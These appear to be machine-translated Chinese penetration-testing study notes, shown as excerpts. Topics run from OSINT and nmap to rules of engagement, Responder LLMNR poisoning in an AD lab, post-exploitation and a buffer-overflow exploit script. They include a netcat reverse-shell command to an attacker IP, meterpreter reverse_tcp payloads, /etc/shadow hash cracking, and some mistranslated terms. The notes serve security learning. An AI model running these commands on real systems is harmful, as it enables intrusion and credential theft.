social-media
使用社交媒体进行 OSINT通过浏览社交媒体平台可以收集大量开源/公共信息。例如,访问目标组织的 LinkedIn 可能会出现: 现任员工及其凭据(电子邮件、姓名/姓氏) 包含徽章照片、所用技术等的图像。 人员是组织安全中最薄弱的环节。即使只有员工姓名,您也可以枚举电子邮件地址。这些地址可用于搜索泄露的凭据,然后可用于利用目标。
shells
反向 Shell 与绑定 ShellShell 只是获取和维护对目标计算机的访问权限的一种方式。最常见的 shell 类型是反向 shell,其中受害计算机连接回我们。用于完成 rev-shell 的常用工具是 Netcat。 Rev 贝壳为了使 rev shell 工作,攻击设备需要侦听特定端口上的连接。在 Netcat 中,我们可以使用以下命令告诉设备监听选定的端口:nc -lvp 4444。 -l 用于监听 -v 表示详细 -p 用于端口通过此命令,我们告诉 Netcat 监听我们机器的端口 4444。 在目标上:为了让目标连接到我们的监听器,我们必须在目标上发送执行命令来建立连接。例如:如果目标安装了netcat(或者我们有一些如何将netcat安装到目标机器上),我们可以使用它来连接回我们的机器。 在这种情况下,目标上的命令将如下所示: 1nc <attacking IP> 4444 -e /bin/sh 在此命令中,目标设备上的 nc 创建一个返回攻击 IP 的 TCP 连接,并使用 -e 标志执行 shell (/bin/bash)(该 shell ...
scanning-with-nmap
nmap 扫描:nmap 是一个网络扫描工具,它扫描目标 IP 地址以查找开放端口。 -sS(“隐形”扫描):这种技术不像以前那样隐秘,但在 nmap 中仍然被称为“隐秘扫描”。 此扫描将 SYN 数据包发送到目标地址上的所有端口(如果未给出端口范围,则为前 1000 个端口)。如果端口以 ACK 响应(就像 TCP 3 次握手一样),则 nmap 会关闭连接而不完成握手,从而使其“隐秘”。 nmap 将响应 ACK 的端口报告为“打开”。 其他选项:-T 计时-T 标志允许您告诉 nmap 您希望扫描完成的速度。您可以给它一个 0 到 5 之间的数字,其中 5 是最快的。 更高/更快的设置将不太准确。较慢的设置将更准确并且更难检测(在此检查中不确定Nmap:时序和性能)。 -p 端口您可以使用 -p 标志告诉 nmap 您希望它扫描哪些端口。如果您不提供此标志,则 nmap 将扫描通常分配给特定服务的前 1000 个。 要扫描所有端口,请使用 nmap -p-。 -A 全部-A 标志告诉 nmap 使用所有检测选项进行扫描,其中包括版本控制 -sV、操作系统检测 -...
rules-of-engagement
渗透测试参与规则ROE 是一份文件,概述了您在整个合作过程中可以做什么和不能做什么,并由您和客户签署并同意。它还定义了双方成员的“角色和责任”。 部分:以下部分列表可能出现在交战规则文件中,也可能不出现。每家公司都有不同的股本回报率计算方式,尽管有些部分绝对应该包括在内,例如范围、披露和接受。 根据客户的评估要求,每次参与的 ROE 也会有所不同。 目标概述交战规则文件意图的一般简介。这里可能出现的一句话可能是: 本文件的目的是概述和明确定义各方的角色和责任,以及商定的评估细节。 适用性描述该文档具体适用的内容,即该文档可能适用于渗透测试方向客户提供的“评估中涉及的所有要素”。这还包括客户组织的相关联系人 角色和职责本节概述了参与评估的所有各方的角色和责任。这里概述的一些常见角色示例如下: 渗透测试团队本节应包括参与渗透测试团队的所有成员包括来自客户的将参与的团队成员。 客户本节将概述客户的责任。责任的一些例子可能包括: 观察并记录进攻团队成员(您)的入侵尝试 防止执法部门介入 确保参与保密/不向员工宣布 本节还可以为客户团队成员定义特定角色,例如: 客户联络点...
responder
使用 Responder 捕获哈希值Responder 是一个可用于对 活动目录 域执行 LLMNR 中毒 攻击的工具。 LLMNR 并不是响应者可以对其进行中毒攻击的唯一协议。它还可以用于 NBT-NS 和 MDNS。 用法示例针对我们的 AD 实验室,我们将使用 Responder 来执行 LLMNR 中毒。这将使我们能够捕获从受害计算机发送的用于身份验证的哈希值。一旦我们有了哈希值,我们就可以破解它以获取该机器的密码。 随着我们的 AD 实验室启动并处于活动状态,我们将使用以下命令与响应者来攻击 域控制器 1responder -I eth0 -dwP 使用的标志: -I/ --interface:告诉响应者我们要使用哪个网络接口。 -d/ --DHCP:告诉响应者“也响应”DHCP 广播请求。 -w/ --wpad:启动恶意 WPAD 服务器(它将响应主机名解析请求) -P/ --ProxyAuth:告诉响应程序强制 NTLM 身份验证(即使目标网络没有打开 WPAD) 其他:-v/ --verbose:将您已经捕获的哈希添加到输出中。打开这些标志,并且您的攻击框与域和域...
researching-vulns
研究潜在的漏洞根据我们在 Kioptrix 的扫描和枚举中发现的内容,我们需要研究我们可能已识别的漏洞。 研究结果按我们认为最容易被利用和/或最容易受到攻击的顺序排列: 123456789101112131415161718192021222324252627Target: 10.0.3.5Ports w/ findings: 80: HTTP :80/ Default page for Apache Web Server: Apache v1.3.20 (Unix) (Red-Hat/Linux) mod_ssl v2.8.4 :80/manual/* manual pages for Apache HTTP Server Version 1.3b5 :80/manual/mod/mod_ssl/* manual pages for mod_ssl v2.8.31 443: HTTPS Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl v2.8.4 OpenSSL v0.9.6...
post-exploitation
后利用一旦我们利用了一个目标,我们就想知道我们可以访问哪些信息,因为这些“是发现”,客户会想知道他们的资产有多脆弱。因此,后期利用包括对目标的大量侦察。 枚举目标网络拓扑我们想使用常用命令查看一些网络拓扑: ifconfig - IP 地址 ip a - IP 地址 arp - MAC 地址 route - 路由表 ###须藤作为当前用户,我们可以使用 sudo -l 来查看我们的 sudo 权限是什么。这将向我们展示允许用户以 root 身份运行哪些命令。 /etc/passwd用于列出用户的密码,但现在仅列出带有 x 占位符的用户。 /etc/shadow密码哈希现在保存在 /etc/shadow 中,因此我们可以找到系统上用户密码的哈希值,然后使用 john 等工具破解这些哈希值以获取明文密码。 其他(稍后再说) 文件系统中的文件 连接到计算机的设备 网络上的其他设备 服务运行 开放端口 等 [!我以前的笔记(在文本中链接)] IP 地址 MAC 地址 路由表 约翰
ports-and-protocols
常用端口 和协议有 65,535 个端口可用于连接网络上的设备。端口由设备操作系统管理的软件控制。 每个端口都与特定的服务或进程相关联。为了传输数据黑白端口通信端口必须以相同的方式配置。 前约 1000 个端口保留用于特定服务(例如:HTTPS 始终位于端口 443)。其余的可以使用/分配给计算机/程序决定的任何服务。 常用 TCP 端口FTP(文件传输协议)FTP 是分配给端口 21 的 TCP 协议。通过端口 21 访问设备,您可以上传、下载、复制、剪切、粘贴(等)由该设备提供服务的文件。 SSH(安全外壳协议)和 TelnetSSH(端口 22)和 Telnet(端口 23)都是允许远程方连接到设备并在其上执行命令的协议。 Telnet 是两者中较旧的,并且不安全,因为双方之间的所有通信都是以明文形式传递。 SSH 的诞生是为了取代 telnet。通过两台设备之间的 SSH 通信,“已加密”,并且双方在发送/接收数据之前必须“进行身份验证”。 POP3、IMAP、SMTP这三个协议都与email相关。 SMTP(端口 25)负责通过客户端和邮件...
payloads
分阶段与非分阶段有效负载有效负载是指建立对目标机器的访问(通常通过 shell)的实际代码或可执行文件。主要有两种类型:阶段式和非阶段式。 非分阶段非分段有效负载一次性发送整个 shellcode 或执行代码。这种类型的有效负载“通常大于”分段有效负载。 上演分阶段的有效负载是分阶段发送到目标的,而不是一次全部发送。由于代码是以块的形式发送的,因此非分阶段的有效负载往往“不太稳定”。然而,分阶段可能是有利的,因为每个阶段都“较小”,并且在发送到目标时不易被检测到。 奖金:使用 Metasploit 时,您可以通过有效负载的路径来识别非阶段性有效负载与阶段性负载: 1234# Non-staged payload:windows/meterpreter_reverse_tcp# Staged payload:windows/meterpreter/reverse_tcp [!我以前的笔记(在文本中链接)] Metasploit
pattern-create
通过创建图案查找偏移量现在我们知道了与 fuzzing 程序的偏移量,我们可以使用 pattern create 来帮助微调我们的漏洞利用脚本和有效负载。 **!参见模式创建(相对)模式创建 (GitHub 存储库) 查找 确切 地址现在我们已经使用 pattern_create 创建了一个缓冲区字符串,我们可以将模糊测试脚本复制粘贴到新脚本中(当我们对其进行微调时,它将成为我们的漏洞利用程序)。 123456789101112131415161718192021222324252627import sys, socket# Create the buffer of 'A' charactersbuffer = "A" * 100try: # Build the payload by appending the TRUN command to the buffer payload = "TRUN /.:/" + buffer # Create, open, and connect to the socket (conne...